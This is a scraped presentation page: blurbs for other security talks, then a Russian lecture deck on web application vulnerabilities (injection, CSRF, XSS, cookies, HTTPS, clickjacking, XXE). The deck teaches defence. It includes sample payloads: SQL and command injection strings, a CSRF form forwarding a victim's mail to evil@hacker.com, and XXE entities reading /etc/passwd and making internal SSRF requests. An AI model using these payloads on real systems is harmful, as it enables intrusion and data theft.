Ведущий: Эльдар Бейбутов
Интернет приложения - это интерфейс взаимодействия человеческого сознания с информационной системой. Процесс коммуникации людей и машинного кода не поддается формализации, невозможно учесть все возможные состояния системы в ручную, для этого необходимы интеллектуальные средства защиты, которые будут способны к самостоятельному обучению и принятию решений на основе многофакторных моделей. На докладе поговорим о эвристических механизмах обнаружения атак, автоматическом создании позитивной модели и поведенческом анализе.
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
Ведущие: Денис Колегов и Арсений Реутов
Авторы доклада продемонстрируют, как внедрение клиентских сценариев JavaScript может быть использовано для обнаружения и предотвращения различных атак, поиска уязвимых клиентских компонент, определения утечек данных об инфраструктуре веб-приложений, выявления веб-ботов и инструментальных средств нападения. Поделятся собственными методами обнаружения инъекций при помощи синтаксических анализаторов без сигнатур и фильтрующих регулярных выражений, а также рассмотрят реализацию концепции JavaScript-ловушек на стороне клиента для атак SSRF, IDOR, Command Injection и CSRF.
Ведущий: Эльдар Бейбутов
Интернет приложения - это интерфейс взаимодействия человеческого сознания с информационной системой. Процесс коммуникации людей и машинного кода не поддается формализации, невозможно учесть все возможные состояния системы в ручную, для этого необходимы интеллектуальные средства защиты, которые будут способны к самостоятельному обучению и принятию решений на основе многофакторных моделей. На докладе поговорим о эвристических механизмах обнаружения атак, автоматическом создании позитивной модели и поведенческом анализе.
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
Ведущие: Денис Колегов и Арсений Реутов
Авторы доклада продемонстрируют, как внедрение клиентских сценариев JavaScript может быть использовано для обнаружения и предотвращения различных атак, поиска уязвимых клиентских компонент, определения утечек данных об инфраструктуре веб-приложений, выявления веб-ботов и инструментальных средств нападения. Поделятся собственными методами обнаружения инъекций при помощи синтаксических анализаторов без сигнатур и фильтрующих регулярных выражений, а также рассмотрят реализацию концепции JavaScript-ловушек на стороне клиента для атак SSRF, IDOR, Command Injection и CSRF.
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...Alexey Kostin
Презентация к докладу Алексея Костина Drupal CIS 2013 в Москве — «Что, зачем и каким образом следует проверять и тестировать перед запуском сайта на Drupal в публичную эксплуатацию»
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...QADay
Kyiv Quality Assurance Day 2019
ЄВГЕНІЙ ТОЛЧИНСКИЙ
«Як manual QA може протестувати проект з боку security»
Телеграм канал: wwww.t.me/goqameetup
Фейсбук сторінці: www.fb.com/goqaevent
Сайт: www.kyiv.qaday.org
«Организация Frontend-разработки на крупном проекте» — Дмитрий Кузнецов2ГИС Технологии
Как создать Front End-команду для высоконагруженного проекта? Спикер расскажет, как можно выстроить эффективный процесс фронтенд-разработки с упором на технические аспекты: — Команда фронтенд-разработчиков. Зоны ответственности между теми, кто программирует UI (верстальщики), и теми, кто отвечает за бизнес-логику (Javascript-программисты). Идеальный состав команды. — Настроенный технологический процесс. Модульная организация (подготовка дизайна → разработка формата данных → создание шаблона → навешивание событий → тесты). — Разработка вместе с тестированием Unit-/DOM-тесты и подход PixelPerfect. — Вёрстка независимыми блоками и встроенный в приложение режим для вёрстки блоков.
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Ontico
РИТ++ 2017, секция ML + IoT + ИБ
Зал Белу-Оризонти, 5 июня, 13:00
Тезисы:
http://ritfest.ru/2017/abstracts/2798.html
В данном докладе будет рассмотрено множество вопросов, с которыми сталкивается AppSec-отдел - как генерировать анти-CSRF токены, где хранить секретные ключи, как тестировать безопасность в сжатые сроки и многое, многое другое.
It's the PPT of the presentation at Null Hyd June 2014 meet.
I tried to make it as simple as i can :)
Share if you like and please let me know your suggestions :)
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...Alexey Kostin
Презентация к докладу Алексея Костина Drupal CIS 2013 в Москве — «Что, зачем и каким образом следует проверять и тестировать перед запуском сайта на Drupal в публичную эксплуатацию»
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...QADay
Kyiv Quality Assurance Day 2019
ЄВГЕНІЙ ТОЛЧИНСКИЙ
«Як manual QA може протестувати проект з боку security»
Телеграм канал: wwww.t.me/goqameetup
Фейсбук сторінці: www.fb.com/goqaevent
Сайт: www.kyiv.qaday.org
«Организация Frontend-разработки на крупном проекте» — Дмитрий Кузнецов2ГИС Технологии
Как создать Front End-команду для высоконагруженного проекта? Спикер расскажет, как можно выстроить эффективный процесс фронтенд-разработки с упором на технические аспекты: — Команда фронтенд-разработчиков. Зоны ответственности между теми, кто программирует UI (верстальщики), и теми, кто отвечает за бизнес-логику (Javascript-программисты). Идеальный состав команды. — Настроенный технологический процесс. Модульная организация (подготовка дизайна → разработка формата данных → создание шаблона → навешивание событий → тесты). — Разработка вместе с тестированием Unit-/DOM-тесты и подход PixelPerfect. — Вёрстка независимыми блоками и встроенный в приложение режим для вёрстки блоков.
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Ontico
РИТ++ 2017, секция ML + IoT + ИБ
Зал Белу-Оризонти, 5 июня, 13:00
Тезисы:
http://ritfest.ru/2017/abstracts/2798.html
В данном докладе будет рассмотрено множество вопросов, с которыми сталкивается AppSec-отдел - как генерировать анти-CSRF токены, где хранить секретные ключи, как тестировать безопасность в сжатые сроки и многое, многое другое.
It's the PPT of the presentation at Null Hyd June 2014 meet.
I tried to make it as simple as i can :)
Share if you like and please let me know your suggestions :)
Inherited Marketo? Making it Work for Your OrganizationCindy Zhou
From Marketo's 2014 Marketing Nation Summit - You've landed a new job and Marketo powers your marketing–great! Not so great–you must uncover how your company uses Marketo and the strategies currently in place. In this session, a VP of marketing showcases a strategic reboot process to increase efficiencies, sales alignment, and revenue potential. Next, a seasoned Marketo administrator shares how to clean up an inherited Marketo instance and modify it to suit your organization's marketing and sales goals.
Press articles often try to simplify reading and, as a result, don’t always go that much into detail when illustrating a new cyber-attack to the broad public. That being said, we thought it might be helpful to write a post on this exact topic and demystify malware typology. Because, whereas we might not all be cybersecurity prodigies, understanding more about the threats on our machines can help us better protect ourselves. Without further ado, we give to you our very own Malware Dictionary.
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
Лекция Петра Волкова в Школе вебмастеров: «Как защитить свой сайт».
https://academy.yandex.ru/events/webmasters_school/yawebm2015/
Актуальные типы угроз и динамика их развития
Компрометация сервера и её последствия. Распределённые атаки типа «отказ в обслуживании». Подмена или добавление рекламы на стороне клиента. Атаки, направленные на пользователей. Проблемы, связанные со внешним содержимым.
Управление рисками безопасности веб-сайтов
Разные типы сайтов подвержены разным типам рисков информационной безопасности. Понимание целей и подходов злоумылшенников как ключ к эффективному снижению рисков. Методы монетизации атак на сайты.
Доступный инструментарий и методики для обеспечения безопасности
Открытые инструменты форензики для типовых и сложных проектов. Системы обнаружения вторжений, подходы к проектированию безопасности в архитектуре и процессах.
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Ontico
HighLoad++ 2017
Зал «Мумбай», 7 ноября, 14:00
Тезисы:
http://www.highload.ru/2017/abstracts/2900.html
Уязвимости Cross-Site Request Forgery (CSRF) являются "классикой" AppSec и хорошо известны как специалистам по безопасности, так и разработчикам веб-приложений. Сегодня, как правило, при разработке веб-приложений уделяется внимание защите от CSRF-атак, и реализуются механизмы защиты. Также относительно новая технология "SameSite cookie", должна еще больше обезопасить веб-приложения от CSRF. На текущий момент CSRF находится на 8 месте в списке OWASP Top-10, в то время как они находились на 5 месте до 2013 года. Означает ли это, что CSRF-уязвимости стали менее актуальными и "уходят в прошлое"?
...
You Can Be Anything You Want to Be: Breaking Through Certified Crypto in Bank...Andrew Petukhov
Our talk from Hack in the Box Amsterdam 2013.
It’s no surprise that a typical hackers professional path hits against custom crypto protocols from time to time. There are lots of application-specific crypto-hardened protocols written from scratch which could be found in banking, SCADA, and other types of not-so-common hardware and software systems. In this presentation, we propose a methodology for breaking into such systems using a top-down approach with GOST-hardened banking applications as an example. We show how easy it is to bypass complex crypto protections because of developers having inconsistent knowledge of modern application level protocols.
Обнаружение уязвимостей логики приложений методом статического анализа. Где п...Andrew Petukhov
Недостатки, влияющие на качество (и безопасность) приложений, можно поделить на две группы: типичные недостатки (переполнения, уязвимости форматной строки, SQLi, XSS и т.п.) и специфичные недостатки (англ. application specific). В докладе будет проведена оценка справедливости высказываний вендоров статических анализаторов об их возможностях по поиску специфичных недостатков безопасности в приложениях. Будет представлена методика поиска подобных ошибок на примере поиска ошибок контроля доступа: задача будет декомпозирована на шаги, для каждого из которых будет указано, что можно сделать автоматически и как, а что — только вручную.
No locked doors, no windows barred: hacking OpenAM infrastructureAndrew Petukhov
One of the main functional components of enterprise applications and Internet portals is an authentication and access control system (AuthC/Z). In this presentation, we describe a popular access control system called ForgeRock OpenAM from the external security point of view. We show the scenarios of full enterprise application compromise through complex attacks which employ both LFI and SSRF.
Обеспечение безопасности расширений в корпоративных информационных системахAndrew Petukhov
Одни из самых распространенных платформ для корпоративных информационных систем в России - SAP и 1C Предприятие. В обеих основную ценность представляют так называемые расширения, обеспечивающие клиентам требуемую функциональность: для SAP – это модули на языке ABAP, для 1С Предприятия – конфигурации, для создания которых используется встроенный язык программирования. С точки зрения информационной безопасности ситуация неутешительна: к задаче обнаружения закладок в custom-коде расширений в последние годы добавилось выявление классических веб-уязвимостей из OWASP Top10. В докладе будет рассмотрена оценка защищенности расширений корпоративных информационных систем, а также подходы к решению этой задачи в отношении платформы SAPв зарубежных странах, и в отношении платформы 1С – в России.
Detecting Insufficient Access Control in Web ApplicationsAndrew Petukhov
Web applications have become a de facto standard for delivering services on the Internet. Often they contain sensitive data and provide functionality which should be protected from unauthorized access. Explicit access control policies can be leveraged for validating the access control, but, unfortunately, these policies are rarely defined in case of web applications. Previous research shows that access control flaws in web applications may be revealed with black-box analysis, but the existing “differential analysis” approach has certain limitations. We believe that taking the state of the web application into account could help to overcome the limitations of exiting approach. In this paper we propose a novel approach to black-box web application testing, which utilizes a use-case graph. The graph contains classes of actions within the web application and their dependencies. By traversing the graph and applying differential analysis at each step of the traversal, we were able to improve the accuracy of the method. The proposed method was implemented in the proof-of-concept tool AcCoRuTe. Evaluation with several real-world web applications shows better results in comparison to simple differential analysis.
Доклад посвящен задаче сравнения эффективности сканеров веб-приложений в части обнаружения уязвимостей класса SQL Injection. В докладе будет изложена методика построения тестового покрытия, описана процедура проведения тестирования и анализа результатов. Будут приведены результаты тестирования таких известных сканеров, как sqlMap, skipfish, wapiti и acunetix.
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...Andrew Petukhov
This talk was given at OWASP AppSec Europe 2008.
Full paper can be downloaded from here:
http://www.owasp.org/images/3/3e/OWASP-AppSecEU08-Petukhov.pdf
3. Broken Terminology
Путаница в концептах
✓ Недостаток/Уязвимость/Угроза/Атака
Путаница в классификациях и рейтингах
✓ “аудит по классификации OWASP Top 10”
✓ OWASP Top Ten - рейтинг критичности уязвимостей в веб-приложениях
✓ SANS Top 25 - рейтинг критичности ошибок в ПО
✓ WASC Threat Classification - попытка классификации атак
✓ Common Weakness Enumeration - индуктивная классификация недостатков
4. Broken Terminology
Путаница в определениях
✓ Wiki: Cross-site scripting (XSS) is a type of computer security vulnerability … that
enables attackers to inject client-side script into Web pages viewed by other users.
✓ WASC: Cross-site Scripting (XSS) is an attack technique that involves echoing
attacker-supplied code into a user's browser instance.
✓ OWASP: Cross-Site Scripting attacks are a type of injection problem, in which
malicious scripts are injected into the otherwise benign and trusted web sites.
✓ CWE-79: The software does not neutralize or incorrectly neutralizes user-controllable
input before it is placed in output that is used as a web page that is served to other users.
Consider this
✓ XSS - в первую очередь атака!
✓ XSS можно провести через DNS rebinding или Cache Poisoning; подходит ли это
хотя под одно определение?
✓ The same weakness could be exploited for XSS, redirecting to malicious site (hello,
Open Redirect!) or even Session Fixation. Try to guess how!
5. Broken Terminology
To add insult to injury
✓ “открыт новый класс уязвимостей”
- Simple HowTo: 1) Google for rare DSL with dynamic code execution feature
- 2) Make a PoC when you can inject DSL-commands into DSL-program
- 3) Submit your talk about brand new vulnerability class for conference
✓ “открыт принципиально новый вид атак”
✓ [2005 год] CSRF - новый вид атак?
✓ [2008 год] А UI redressing (Clickjacking)?
✓ Говорят, это все Confused Deputy
✓ Еще говорят, новых классов уязвимостей вообще быть не может
✓ А еще говорят, что классификацию уязвимостей вообще невозможно
построить (см. “A critical analysis of vulnerability taxonomies”)
✓ И последнее: SQLi можно использовать для DoS, можно для Authentication
Bypass, а можно для Authorization Bypass (Privilege Escalation)
6. Insight into weaknesses
Есть классификация по времени появления
✓ проектирование, кодирование, внедрение, эксплуатация, [выведение из эксп.]
Большинство уязвимостей появляется
✓ Из-за отсутствия или неполной реализации механизмов обеспечения ИБ
✓ Из-за некорректной обработки входных данных
7. Downstream Components
✓ Веб-приложение в процессе работы взаимодействует с различными внешними
подсистемами: СУБД, LDAP, стандартный интерпретатор ОС, почтовый
демон, браузер, файловая система и т.п.
✓ У большинства подсистем есть свой язык, который она умеет
интерпретировать: SQL у СУБД, Shell/CMD у стандартного интерпретатора
ОС, SMTP-команды у почтового демона, HTML и Javascript у браузера и т.п.
✓ Обращения веб-приложения во внешние подсистемы параметризуются: есть
константная часть и есть переменная, значение которой формируется
динамически с участием пользовательских данных
- шаблоны HTML-страниц, заполняемые данными из СУБД или из запроса
- заготовки SQL-запросов, SELECT-критерии в которых заполняются на
основе входных параметров
- заготовки Shell-команд, к которым необходимо добавить только аргумент
- обработка запроса http://newsfeed.us.to/news.php?id=17 может включать
PHP-оператор вида mysql_query(“SELECT * FROM news WHERE id = ”.$id);
8. The Essence of Injection
✓ В каждом языке определены ключевые слова, разделители, правила
оформления секций данных (в т.ч. строк и констант):
➡ SELECT * FROM news WHERE author = ‘petand’
➡ <a href=”/show?id=1”>View first</a>
➡ eval({ id: 1, name: "Foo", price: 123})
➡ grep -R “search string” *
✓ В каждом запросе или команде к внешней подсистеме есть контекст команд
(Control Channel) и есть контекст данных (Data Channel)
✓ Injection-атаки становятся возможными, если внешний пользователь сможет
выйти из контекста данных в контекст команд:
➡ SELECT * FROM news WHERE author = ‘petand’ or sleep(5) -- ‘
➡ <a href=”/show?id=”1”><script>alert(1)</script><a id=””>View first</a>
➡ eval({ id: 1, name: “Foo”});alert(1);//”, price: 123})
➡ grep -R “search string” 1; echo “p0wned” #” *
More here: http://cwe.mitre.org/data/definitions/74.html
9. Examples of Injection
✓ SQL-операторы
➡ если входные данные не обрабатываются при построении SQL-запроса
✓ HTML-разметку
➡ если входные данные не обрабатываются при построении HTML-страницы
✓ Javascript-операторы
➡ если входные данные не обрабатываются при построении JSON-объекта
✓ CSS-директивы
➡ если входные данные не обрабатываются при построении CSS-правил
✓ HTTP-заголовки
➡ если входные данные не обрабатываются при построении ответного
заголовка (например, Location)
✓ XPath-операторы
➡ если входные данные не обрабатываются при построении XPath-запроса
10. Testing for Injection
✓ Методы обнаружения != методы эксплуатации
➡ при обнаружении устанавливается факт наличия недостатка
➡ при эксплуатации достигается конкретная цель
✓ Что можно наблюдать в режиме черного ящика?
➡ статус HTTP-ответа (200 vs 500), заголовки ответа
➡ тело ответа, задержку ответа
✓ Надо пытаться выйти за контекст данных
➡ надо уметь терминировать текущий контекст данных (пресловутая кавычка)
➡ надо уметь добавлять команды так, чтобы итоговый запрос во внешнюю
подсистему оставался синтаксически корректным и после внедрения
➡ надо уметь влиять на наблюдаемое поведение (например, вызывать задержку)
✓ Типичные значения для тестирования
➡ 17‘ and sleep(5) --
➡ “><script>alert(1);</script><a id=”
13. CSRF
<html>
<head><title>All you mail are belong to us</title></head>
<body onload=”CsrfForm.submit();”>
<img src="http://www.jewelrynutauctions.com/wp-content/uploads/cute-kittens-20-
great-pictures-1.jpg" />
<form id=”CsrfForm” action=”http://mail/actions/add” method=”POST”>
<input type=”hidden” name=”type” value=”forward” />
<input type=”hidden” name=”condition” value=”all” />
<input type=”hidden” name=”target” value=”evil@hacker.com” />
</form>
</body>
</html>
‣ CSRF - это выполнение действий!
‣ Смена пароля, смена почты, добавление админа и т.п.
‣ Считывать ответ от CSRF-запроса не даст SOP
‣ WTF SOP????
14. Same Origin Policy
Зачем какой-то CSRF, когда можно было бы сделать так:
<html>
<!-- HTML page hosted at http://evilhacker.us.to/bank-hijack.html -->
<head><title>All you bank accounts are belong to us</title></head>
<body>
<!-- Important step of an attack: cute little kittens should still be there! -->
<img src="http://www.jewelrynutauctions.com/wp-content/uploads/cute-kittens-20-
great-pictures-1.jpg" />
<iframe name=”bank” src=”https://myprivatebank.no/myaccount/transfers/history” />
<script> document.bank.document. // <---- read whatever you want! </script>
</body></html>
SOP simplified: код из одного источника не может читать
или изменять DOM-объекты другого источника
Источник = протокол + домен + порт
More here: http://www.w3.org/Security/wiki/Same_Origin_Policy
15. Cross Site Scripting
Цель XSS - обойти SOP
Для этого надо, чтобы наш javascript вернулся в браузер
пользователя из того источника, DOM которого мы
хотим считывать (https://myprivatebank.no/)
Возможность внедрения HTML-разметки позволяет
сделать ровно это: вставить в приложение скрипт,
который потом загрузит жертва в свой браузер в
контексте нужного источника
В общем случае XSS позволяет делать с уязвимым
сайтом все то же, что может делать пользователь,
загрузивший XSS-скрипт
16. XSS: common cases
Reflected vs Stored XSS vs [DOM-based]
✓ reflected могут быть отражены AntiXSS фильтрами в браузерах (IE, Chrome,
NoScript)
✓ про экслуатацию DOM-based затруднительно узнать из логов сервера
With user interaction vs W/o user interaction
Browser specific vs Browser agnostic
XSS over CSRF
17. XSS exploitation
The BeeF Project DEMO
http://www.youtube.com/watch?
v=XsXOYwZkTyo
18. В следующий раз
Broken cookies
Broken HTTPS
Broken UI (UI redressing)
Атаки класса XXE
Broken Defense (WAF, browser security and other)
19. Broken cookies
✓ Нужны для реализации сессий (сеансов)
✓ Де-факто используются для аутентификации запросов
✓ Формат Set-Cookie: <name>=<value>[; <name>=<value>]...
[; expires=<date>][; domain=<domain_name>] [; path=<some_path>]
[; secure][; httponly]
✓ Scoping: cookie SoP != DOM SoP
➡ Не ограничены портом и протоколом (cookie с http://example.com/ уйдут на
https://example.com:8080/)
➡ Трудно ограничить домен
➡ Протокол можно ограничить флагом secure
✓ Read more: http://code.google.com/p/browsersec/wiki/Part2#Same-
origin_policy_for_cookies
20. Broken cookies: scoping
✓ Атрибут domain отсутствует
✓ Атрибут domain присутствует и содержит wildcard
✓ Атрибут domain присутствует и содержит адрес (warning!)
✓ См. таблицу (взята из The Tangled Web)
✓ Что все это значит?
➡ есть сайт site.com с авторизацией
➡ есть сайт bar.site.com либо под нашим контролем, либо с XSS => p0wned!
21. Broken HTTPS
✓ Открытые сети в массы
➡ доступны инструменты для пассивного прослушивания трафика
➡ доступны инструменты для MiTM
✓ Основные угрозы для критичных приложений
➡ перехват учетных данных
➡ перехват cookies, которые аутентифицируют запросы
✓ Сайты защищаются от угроз с помощью HTTPS
✓ Пользователи открытых сетей защищаются, работая с
критичными сайтами в открытых сетях только по HTTPS
✓ Этого не достаточно!
✓ Заблуждение: “если я не открываю через открытую сеть сайт, мои
учетные данные и cookies в сохранности”. Fail.
✓ Пример перехвата: http://www.youtube.com/watch?v=Bf8pziDavfQ
22. Broken HTTPS
✓ Как делать правильно:
➡ cookies помечать флагом secure (и httponly!)
➡ использовать HTTP Strict Transport Security (https://
developer.mozilla.org/en-US/docs/Security/
HTTP_Strict_Transport_Security)
23. Broken UI
✓ Предпосылки:
➡ HTML: iframe
➡ js: возможность динамически менять размеры и положения элементов,
навешивать и снимать обработчики событий, менять курсор
➡ CSS: свойство opacity, свойство cursor
✓ В общем случае атака называется UI Redressing и имеет много
видов: clickjacking, strokejacking, cursorjacking, likejacking
✓ Почитать:
➡ Кратко: http://podlipensky.com/2012/07/clickjacking-explained/
➡ Полно: UI Redressing: Attacks and Countermeasures Revisited
✓ Демо:
➡ http://digitalbreed.com/clickjacking-demo/facebook.php
➡ http://podlipensky.com/2012/08/cursor-spoofing-cursorjacking/
24. Broken UI
✓ Защита приложения:
➡ Рекомендуется: X-Frame-Options: deny/sameorigin
➡ Не рекомендуется: frame-busting code (см. “Busting frame
busting: a study of clickjacking vulnerabilities at popular sites”)
✓ Защита клиента
➡ NoScript (технология ClearClick)
25. XML и XXE
✓ XML - де-факто стандартный транспорт на прикладном уровне
(XML-RPC, SOAP)
✓ Документы: правильные и действительные
✓ Парсеры:
➡ обычные и валидирующие (DTD и XML Schema)
➡ реально распространены: libxml, msxml и xerces
✓ Сущности:
➡ внешние и внутренние
➡ валидирующий парсер обязан разрешить внешнюю сущность, а
невалидирующий - по желанию
➡ реально многие парсеры по умолчанию всегда разрешают внешние
сущности
26. XML и XXE
✓ Что можно сделать:
➡ считывать локальные файлы <!ENTITY xxe SYSTEM "file:///etc/passwd">
➡ DoS <!ENTITY dos SYSTEM "/dev/zero">
➡ сканировать DMZ- сегмент <!ENTITY scan SYSTEM "192.168.1.1C$">
или <!ENTITY scan SYSTEM "http://10.0.0.1:22/">
➡ отправлять произвольные (почти) запросы (SSRF)
<!ENTITY ssrf SYSTEM "http://internalhost/admin?p=value">
Hint: вместо http можно использовать любой поддерживаемый протокол!
Больше в статье SSRF vs. Business-critical applications: XXE tunneling in SAP
✓ Защита:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
27. Broken Defense
✓ “Свое мнение” у каждого браузера
➡ пример с cookies и IE, AntiXSS фильтры, Content Sniffing
➡ недавняя история с багами Оперы; 4lulz http://rutracker.org/
forum/viewtopic.php?t=4228361
✓ WAF не защищает от атак без синтаксических
аномалий (т.е. не injection-атак)
➡ black-listing vs white-listing
➡ black-listing учитывает особенности атак, white -
защищаемого приложения
➡ не injection-атаки (например, атаки на уязвимости
авторизации) не вызывают синтаксических аномалий
➡ не injection-атаки используют особенности приложений
28. Спасибо за внимание!
Вопросы?
Twitter: @p3tand
Blog: https://andrepetukhov.wordpress.com/
Email: andrew.petukhov@internalsecurity.ru
Видео лекций: https://www.youtube.com/playlist?
list=PL2173C4AB816E4F3F
Must read: “The Tangled Web” by Michal Zalewski